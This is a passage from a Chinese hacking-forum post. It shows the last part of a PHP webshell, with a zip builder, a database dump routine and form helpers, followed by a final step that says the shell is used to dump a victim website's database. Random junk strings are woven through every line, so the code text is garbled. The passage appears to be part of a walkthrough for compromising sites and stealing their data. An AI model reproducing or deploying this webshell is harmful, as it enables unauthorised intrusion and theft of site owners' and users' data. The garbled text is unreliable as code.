    ( M+ X+ O. [3 N3 H6 R5 Y& |+ r% u. y
  1705.         }5 s; b: L% j+ t6 n& k9 F) |( l2 m
  1706. / {' E) w8 a; z
  1707.         var $datasec      = array();, K# ]  ~5 ]6 Y, o9 ]: _+ m( f; m8 }
  1708.         var $ctrl_dir     = array();, e  p5 U' j; E
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    5 s3 K% t. r4 O# ?
  1710.         var $old_offset   = 0;
    3 g- g) ^7 z8 b2 u) W  c: I
  1711. 1 B2 Y! U2 X+ D% @$ n+ G- d$ l6 @- l
  1712.         function unix2DosTime($unixtime = 0) {
    . p8 V0 D" h4 c7 N' i( O
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
    - t: a! {" o" x" K: T0 _9 k
  1714.                 if ($timearray['year'] < 1980) {, E) h( Y: p; h* k
  1715.                         $timearray['year']    = 1980;: v& v+ Z' ?% n
  1716.                         $timearray['mon']     = 1;& o# X3 n4 }0 D: H3 v- U
  1717.                         $timearray['mday']    = 1;
    6 l  C0 m: \8 O4 p
  1718.                         $timearray['hours']   = 0;1 m9 V1 @) l  a
  1719.                         $timearray['minutes'] = 0;
    * x% ~, Y" j1 W- X: Q- b0 R
  1720.                         $timearray['seconds'] = 0;
    9 X. Z5 l* b' D4 }
  1721.                 } // end if  A' r0 ]2 A5 ?
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
    0 w5 p2 v0 v7 `  ?9 _
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    " b/ ?* n# ~- T1 l4 c! _
  1724.         }
    8 P2 H7 K, k" q8 ]
  1725.         function addFile($data, $name, $time = 0) {
    - p8 @: T! X* y# M4 K0 D( Z
  1726.                 $name = str_replace('\\', '/', $name);" F# x+ R) ]  M. J$ c8 P5 C
  1727.                 $dtime = dechex($this->unix2DosTime($time));! s, R0 k2 R! Y3 H* {
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]: i7 Q) U: _+ ~+ }2 O& u0 x
  1729.                                         . '\x' . $dtime[4] . $dtime[5]8 O8 c/ Z7 U5 |) M/ k
  1730.                                         . '\x' . $dtime[2] . $dtime[3]
    , s1 q! o  k  E; N" d
  1731.                                         . '\x' . $dtime[0] . $dtime[1];
    5 p* u9 o1 Q1 R
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');
    4 r$ e$ v# y, \0 D! M6 D7 }
  1733.                 $fr        = "\x50\x4b\x03\x04";7 {2 K) f! ^* W3 T% n
  1734.                 $fr        .= "\x14\x00";" l$ H6 W: Y# l2 s3 U0 h/ c5 d
  1735.                 $fr        .= "\x00\x00";
    / f+ d* F0 W! z9 b  [1 C
  1736.                 $fr        .= "\x08\x00";
    9 ?. b6 j* ^* z2 w7 n  M
  1737.                 $fr        .= $hexdtime;% z7 p" Q/ K+ {
  1738.                 $unc_len = strlen($data);
    - H+ R) X4 l3 `7 E
  1739.                 $crc = crc32($data);% [  T# q5 i" V9 F" ]# x5 T& m
  1740.                 $zdata = gzcompress($data);, a% z$ R) j" R7 A
  1741.                 $c_len = strlen($zdata);
    ; t; O* ~% O0 m/ F: f; M
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
    2 W+ G" g& ~, {7 q9 |0 B5 F
  1743.                 $fr .= pack('V', $crc);
    # e' o8 }/ `. q( S
  1744.                 $fr .= pack('V', $c_len);% M2 k% `& C! s6 a% W
  1745.                 $fr .= pack('V', $unc_len);
    ; _( ~2 ]0 N" P+ j
  1746.                 $fr .= pack('v', strlen($name));! q0 r/ t3 D! H8 v
  1747.                 $fr .= pack('v', 0);! y5 k4 T7 w: |1 Z  P5 G. ~& v
  1748.                 $fr .= $name;
    , a7 x3 B! j* E. d- ~% T1 {
  1749.                 $fr .= $zdata;
    # O1 R; ^( X7 [4 ?7 U
  1750.                 $fr .= pack('V', $crc);' p; @! f6 Z; H
  1751.                 $fr .= pack('V', $c_len);4 B& D: o' U: n; H' X
  1752.                 $fr .= pack('V', $unc_len);  A! Z+ X' o1 a& m
  1753.                 $this -> datasec[] = $fr;
      ?  z* E8 z- Z# J' |8 ?
  1754.                 $new_offset = strlen(implode('', $this->datasec));: Z: q8 K5 Y2 f6 _: s7 _
  1755.                 $cdrec = "\x50\x4b\x01\x02";
    ( Y; e( Q0 ?0 V$ X1 |
  1756.                 $cdrec .= "\x00\x00";
    - i* F# w! r1 k6 j' S4 z
  1757.                 $cdrec .= "\x14\x00";* Q3 |7 L; I" q( F% G$ U
  1758.                 $cdrec .= "\x00\x00";
    ) R" x. _) P9 M3 {- R+ }
  1759.                 $cdrec .= "\x08\x00";+ [, v/ d, G! _
  1760.                 $cdrec .= $hexdtime;% Y" k. u* p2 a  g- C
  1761.                 $cdrec .= pack('V', $crc);
    3 ^* ~2 T. L; {  `: j! N) s" A
  1762.                 $cdrec .= pack('V', $c_len);
    # @: ]  k( n% k% k$ t
  1763.                 $cdrec .= pack('V', $unc_len);, f& P* e0 J1 L2 B7 g0 E
  1764.                 $cdrec .= pack('v', strlen($name) );
    7 w* ~8 y. d; G8 X7 H* d
  1765.                 $cdrec .= pack('v', 0 );
    1 D( w0 j" z9 p( w+ T9 ~8 X; p
  1766.                 $cdrec .= pack('v', 0 );4 p* W3 ^! M( u  r6 W; }0 N
  1767.                 $cdrec .= pack('v', 0 );( N& u; o- z& Z) q- ]
  1768.                 $cdrec .= pack('v', 0 );! q2 F  g( y# \# I! z# b" g# X
  1769.                 $cdrec .= pack('V', 32 );8 T5 [7 K+ [7 h/ d# ?  e( D
  1770.                 $cdrec .= pack('V', $this -> old_offset );
    % ?  m# h& K$ K1 Y% ]
  1771.                 $this -> old_offset = $new_offset;
    5 @6 n3 H. B% I2 |9 A$ A! ?5 N
  1772.                 $cdrec .= $name;
    - k& k0 t7 P( J! I" w3 F" \2 Y, t/ a
  1773.                 $this -> ctrl_dir[] = $cdrec;
    / k. ^- T; e! |) R, ?3 `
  1774.         }0 Q' R- e9 p) T' i; _
  1775.         function file() {2 A# ]9 Z; Y* q- A3 u0 A
  1776.                 $data    = implode('', $this -> datasec);8 }6 Q$ J& J8 Z: B1 a0 R* f
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);) {, s: u5 |. Z) g9 t: S
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
    . t( M8 H# d4 ^" K8 \' X! V
  1779.         }5 n2 C! D+ X/ b; D5 ^' J" L
  1780. }8 W; _/ \" |- L9 O4 @
  1781. // 备份数据库; c# M! v! t# R" H9 M9 e( T
  1782. function sqldumptable($table, $fp=0) {  _1 k$ j3 d' o0 e7 A: F: Q
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
    $ I$ I) r; f, z6 K8 s6 M: h1 |7 I2 u
  1784.         $tabledump .= "CREATE TABLE $table (\n";  u) b! N8 x2 o- A9 t: S$ m- u, S
  1785.         $firstfield=1;$ Y3 }  M: x9 r$ G1 E7 I
  1786.         $fields = q("SHOW FIELDS FROM $table");/ n4 O) }$ x% S) U  n; m% a4 L
  1787.         while ($field = mysql_fetch_array($fields)) {
    ; E: N0 I) M' ]8 |# o2 K( C; ?
  1788.                 if (!$firstfield) {
    4 C5 `! h  o9 }) E6 Z( I
  1789.                         $tabledump .= ",\n";
    % I- C# `( n; _1 {
  1790.                 } else {3 S9 V# m6 ]4 R% L  G9 z: ^% `
  1791.                         $firstfield=0;
    1 h7 ~2 g: B" d% y8 g
  1792.                 }+ U' j  o7 q0 b. H- a$ u
  1793.                 $tabledump .= "   $field[Field] $field[Type]";
      E0 l9 w* G& B) G. a% P7 Q0 o8 q
  1794.                 if (!empty($field["Default"])) {
    % n/ Y4 I3 Y/ q! p8 Z
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";* N( B/ z3 O& L/ V# C- L7 p
  1796.                 }" y# G: S/ g+ S8 s
  1797.                 if ($field['Null'] != "YES") {8 Q$ l/ P7 g" V4 v* @
  1798.                         $tabledump .= " NOT NULL";* P0 x) n7 C2 I  V7 n
  1799.                 }
    * O' M7 M  K/ E; }
  1800.                 if ($field['Extra'] != "") {
    9 q- L# J' a# J' m$ n. d
  1801.                         $tabledump .= " $field[Extra]";
    , ~) j  D. O  o8 {6 t
  1802.                 }; n. I# `4 I5 f8 V9 |% H
  1803.         }
    ; n- B- m7 F* L  {, k
  1804.         fr($fields);* f! M, G& S: ]( T% O
  1805.         $keys = q("SHOW KEYS FROM $table");
    : b0 }( M$ q" x" s- y
  1806.         while ($key = mysql_fetch_array($keys)) {
    6 a+ z: a$ g1 n
  1807.                 $kname=$key['Key_name'];
    : I2 y5 K0 r; A2 J, X$ d
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
    0 Y4 R7 U( M3 ]
  1809.                         $kname="UNIQUE|$kname";
    5 ]) j- H. G# c" V
  1810.                 }
    4 L9 f* t6 y& X( i- }& f. O
  1811.                 if(!is_array($index[$kname])) {
      e' D! U) ], V2 ]
  1812.                         $index[$kname] = array();
    ( o7 p9 d( {% S* W: r3 ]/ l
  1813.                 }
    ; b3 p& P; A- T7 g+ ^! N( }7 b4 _' m
  1814.                 $index[$kname][] = $key['Column_name'];
    $ M. K5 N5 x4 R8 I- ?
  1815.         }5 ~9 l5 l* a6 u) `
  1816.         fr($keys);5 w' d* d* h% ~1 l; w9 ^. v
  1817.         while(list($kname, $columns) = @each($index)) {( u9 y6 o; p8 x+ U2 z. i7 p0 p
  1818.                 $tabledump .= ",\n";# s7 ^8 j) T# W- Z9 j% w
  1819.                 $colnames=implode($columns,",");
    * r- Q& }  S0 l% T% k
  1820.                 if ($kname == "PRIMARY") {
    2 Z5 h5 @; E( u6 Q7 V7 Z" T
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";% b7 {0 p8 I2 o& |/ v5 i
  1822.                 } else {
    ; P3 {7 z- T$ Q8 K9 |
  1823.                         if (substr($kname,0,6) == "UNIQUE") {4 J- S/ ]% e4 B5 h) i
  1824.                                 $kname=substr($kname,7);9 b! W3 \) r2 f# N0 I: |! r
  1825.                         }- [# z8 S) I5 J4 p$ r; Q
  1826.                         $tabledump .= "   KEY $kname ($colnames)";: U) ~# A$ ^; J# ~3 e( }, l
  1827.                 }
    ' `+ V$ ^$ |! c. c$ w( A& J
  1828.         }
    & M! v# m8 j1 |5 d1 Y/ L
  1829.         $tabledump .= "\n);\n\n";
    % R. j& f1 ?% |9 \. I
  1830.         if ($fp) {+ b5 }4 A/ g% ^" W1 o* z
  1831.                 fwrite($fp,$tabledump);
    / G% l$ A* a! Y6 j
  1832.         } else {  I9 ?% b2 [& h1 D0 V1 k
  1833.                 echo $tabledump;) n" h- m0 R2 @  S7 l
  1834.         }
    - U4 E& L% j1 y6 Z+ D- E
  1835.         $rows = q("SELECT * FROM $table");/ h# p3 c& P% b! Q
  1836.         $numfields = mysql_num_fields($rows);
    0 N9 n7 b7 D0 L* S2 m3 F
  1837.         while ($row = mysql_fetch_array($rows)) {
    3 _/ L" B- U. s0 A
  1838.                 $tabledump = "INSERT INTO $table VALUES(";% k* c, ~+ q- M- r
  1839.                 $fieldcounter=-1;1 [( S) n$ f. L, R: T
  1840.                 $firstfield=1;
    5 t% t9 N2 J/ R4 b+ d1 ]% _
  1841.                 while (++$fieldcounter<$numfields) {
    5 w- T' J9 k0 T7 M, N5 v
  1842.                         if (!$firstfield) {
    9 e2 u) ?, D" r' y6 w2 u) P8 r
  1843.                                 $tabledump.=", ";0 v6 J5 G8 e: E! b  p! c1 `! l- Z
  1844.                         } else {) M  x3 r3 w% N# U' q
  1845.                                 $firstfield=0;
    9 T& t7 a! E. R- G  P
  1846.                         }) H5 W! U1 y8 v0 j
  1847.                         if (!isset($row[$fieldcounter])) {+ ^. e7 l$ n3 W& M8 ?
  1848.                                 $tabledump .= "NULL";
    . q# h7 b% f" n1 l
  1849.                         } else {8 G9 d. B% F- D7 t3 ?
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
    + w0 {3 g6 g6 J; s- h& C
  1851.                         }7 y) g6 T& r0 s" }) b% a
  1852.                 }
    $ m+ {& y, d$ q; T6 |
  1853.                 $tabledump .= ");\n";% q+ \: }7 I+ \8 b0 p5 i/ _1 s
  1854.                 if ($fp) {
    % n. |  M5 a; [% R, i
  1855.                         fwrite($fp,$tabledump);; x" k# O! }# B8 v: @
  1856.                 } else {
    * h) M: ~$ s: H5 X7 D4 ~6 w7 U/ O
  1857.                         echo $tabledump;% D( A# D6 T  l* M5 }  [/ z
  1858.                 }
    5 u- S7 c$ X0 _( B
  1859.         }, a/ G! `" G' M2 T( Y! ?
  1860.         fr($rows);
    * a% ?2 b$ z7 R$ q  T& d( ?; Y0 Z4 U
  1861.         if ($fp) {; A5 R: q2 w& q/ N
  1862.                 fwrite($fp,"\n");  J! |$ e$ Y' K2 z+ E0 ?
  1863.         } else {
    3 n) p3 f! W# f. H1 l2 J6 _8 I
  1864.                 echo "\n";; y6 y6 J0 T- S% B$ y6 u- p
  1865.         }5 J4 T, ^/ w& Z* o# Y: `! c0 l
  1866. }8 M" b, ]4 g1 \/ p- g
  1867. function ue($str){, G: I  _) ?  m+ o# e( ^
  1868.         return urlencode($str);
    2 o, @+ [, Q1 N/ p7 m2 e
  1869. }
    1 e# D6 t; C! w' |: K
  1870. function p($str){, w# G8 o1 `0 P0 j$ R% h
  1871.         echo $str."\n";" `) a; \" o4 L- r* P/ Q
  1872. }
    % J9 f/ I: E; j: s. |5 O
  1873. function tbhead() {0 }  M. p+ D2 f/ O$ x) ~9 t( d
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
    % c) u# U" B! B/ P: J4 [
  1875. }
    0 h2 f# y5 K$ @' \; _' q4 |
  1876. function tbfoot(){3 v" t- P4 Z# c' |! Z% L2 R! ^6 ]
  1877.         p('</table>');
    : ?; Z9 j$ B. O2 ^4 y1 n4 D
  1878. }
    , O) f' U* N' N/ k
  1879. function makehide($name,$value=''){/ P2 ?( s# t  |1 ]- P* |2 _: v9 ~
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
    " z4 E/ x9 n1 F9 f4 K" T" ~0 i
  1881. }
    + u% g$ T3 K0 s- s# X* H3 W' {
  1882. function makeinput($arg = array()){
    ) C# d2 K  W0 J5 ]" B
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
    1 [( t" e; y$ V5 I, e) x2 r6 c- h
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';% `4 B; E0 H5 G0 ]  J
  1885.         !$arg['type'] && $arg['type'] = 'text';3 M  i: @, I/ Z, j$ @0 [. T) |; [
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    , Q5 i: o, b; l+ T% r
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
    ; t* K" d+ f5 p* ]1 q& V7 w
  1888.         if ($arg['newline']) {1 r% W2 _5 ~! Z  k8 b
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");3 R1 n1 o9 O1 Z8 ?
  1890.         } else {
    4 g, O% R1 u* x  }
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");( ~, P8 O" Z9 F: m3 V5 S
  1892.         }
    5 r9 t! b  T: {) L: {; M6 _. Z% `8 x- w
  1893. }  {- x( J& W* ]/ L
  1894. function makeselect($arg = array()){
    ! ~0 R& r; k& i% b, R  v
  1895.         if ($arg['onchange']) {: E* N" R* F6 D  R3 u, Z5 F1 G
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
      O3 \/ _7 T- |) Q
  1897.         }# S6 j+ v" n; [8 @) }4 |/ K
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';+ R2 o; J# j3 `, N0 l# s1 Q; |3 z
  1899.         if ($arg['newline']) p('<p>');
    7 i; G' _0 Q" `+ J0 ^- }' d
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
    , t2 D( O! O) G* Z+ j$ H
  1901.                 if (is_array($arg['option'])) {
    ' e% d2 G3 K5 S4 H- F
  1902.                         foreach ($arg['option'] as $key=>$value) {4 N% [) G+ c0 ^1 t
  1903.                                 if ($arg['selected']==$key) {) A# F  A4 E6 r' `# V
  1904.                                         p("<option value="$key" selected>$value</option>");
    0 m' }5 y* R: q$ r% Q
  1905.                                 } else {
    4 ^- e8 H5 m, `( I
  1906.                                         p("<option value="$key">$value</option>");5 F" D3 b8 r: O; {" ~5 S
  1907.                                 }
    ( |: J! P+ S8 i, n
  1908.                         }% [1 o( C* n% D# z: E) R' F- j
  1909.                 }
    ! v, ~4 n( W$ h
  1910.         p("</select>");
    9 R! R! g1 f/ {: f; M
  1911.         if ($arg['newline']) p('</p>');- f3 I" m" s; k6 E( |) ^, X, A: m
  1912. }
    # n5 K+ |. i* v+ `8 B4 g( P
  1913. function formhead($arg = array()) {
    1 Z- K6 Z3 A1 L" H
  1914.         !$arg['method'] && $arg['method'] = 'post';
    ! S; `5 ]4 d6 b% ~0 z" [7 J5 d; @
  1915.         !$arg['action'] && $arg['action'] = $self;. y6 h. \/ O% S7 l3 U
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
    5 o, x% D2 I5 z7 ~
  1917.         !$arg['name'] && $arg['name'] = 'form1';
    1 I3 k/ O0 g7 r# `+ |
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");( q9 m4 F( {' {7 t9 o* A) C
  1919.         if ($arg['title']) {& M) w' ?5 K6 K4 ^! a' W, V
  1920.                 p('<h2>'.$arg['title'].' »</h2>');7 ~  W* J1 B0 g& @4 ?3 O+ i
  1921.         }. z3 f, X( U6 P+ j! o6 T
  1922. }, e: {! f) [) I" B0 F7 ?0 L4 `
  1923.        
    , A& [2 T/ i" c. S) c
  1924. function maketext($arg = array()){( y& ^- A+ E! u
  1925.         !$arg['cols'] && $arg['cols'] = 100;
    ; z2 ~. c3 P- W. A* g
  1926.         !$arg['rows'] && $arg['rows'] = 25;
    6 ^: a+ n) @* N
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';% G& b, B- w6 Q* g$ Q5 [# ~, T
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");9 m' l) l( u* v, `0 [/ J7 p
  1929. }$ n: V5 H  W$ Z0 N; q' K

  1930. - {+ p# o/ J8 O9 k  R. s
  1931. function formfooter($name = ''){5 V$ A7 t: b1 G+ I2 `, ]' o
  1932.         !$name && $name = 'submit';
    ) F3 r; L- m; c3 y
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');4 d! C2 \1 J; d3 w' m7 m' m
  1934.         p('</form>');$ l) a& T( g0 ~0 x
  1935. }' ?% W; m9 l3 R! X/ Z

  1936. $ N* Z, R4 p/ [2 B
  1937. function formfoot(){
    ! G+ T: L" n% X: I+ o" q
  1938.         p('</form>');
    * p4 b  p" L8 g0 Z* v
  1939. }
    7 [9 n. o' o' H6 P( Z! M5 |  b
  1940. # p. r" e4 _1 Z7 A# g$ E1 Y1 ~% J
  1941. // 调试函数- e: I5 A0 E" g! s  K1 R
  1942. function pr($a) {% A# ^) [- @5 }( N6 M
  1943.         echo '<pre>';
    9 [3 X6 {% c! O8 I  H$ `# B$ Y
  1944.         print_r($a);
    2 n- L- W* @4 }4 H" t- D3 l3 B
  1945.         echo '</pre>';
    # B. ?% B: V5 |' }0 m8 K2 M; N
  1946. }2 M; P" [$ C% e  p1 l$ I
  1947. : e5 R8 @1 L6 Y% v7 O. i( m
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库) q9 b2 x4 k% h# `; Y. q/ N' r

9 J4 |9 B9 X. i: d
5 n* C* @& s7 A
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-8-5 03:29 PM , Processed in 0.157084 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表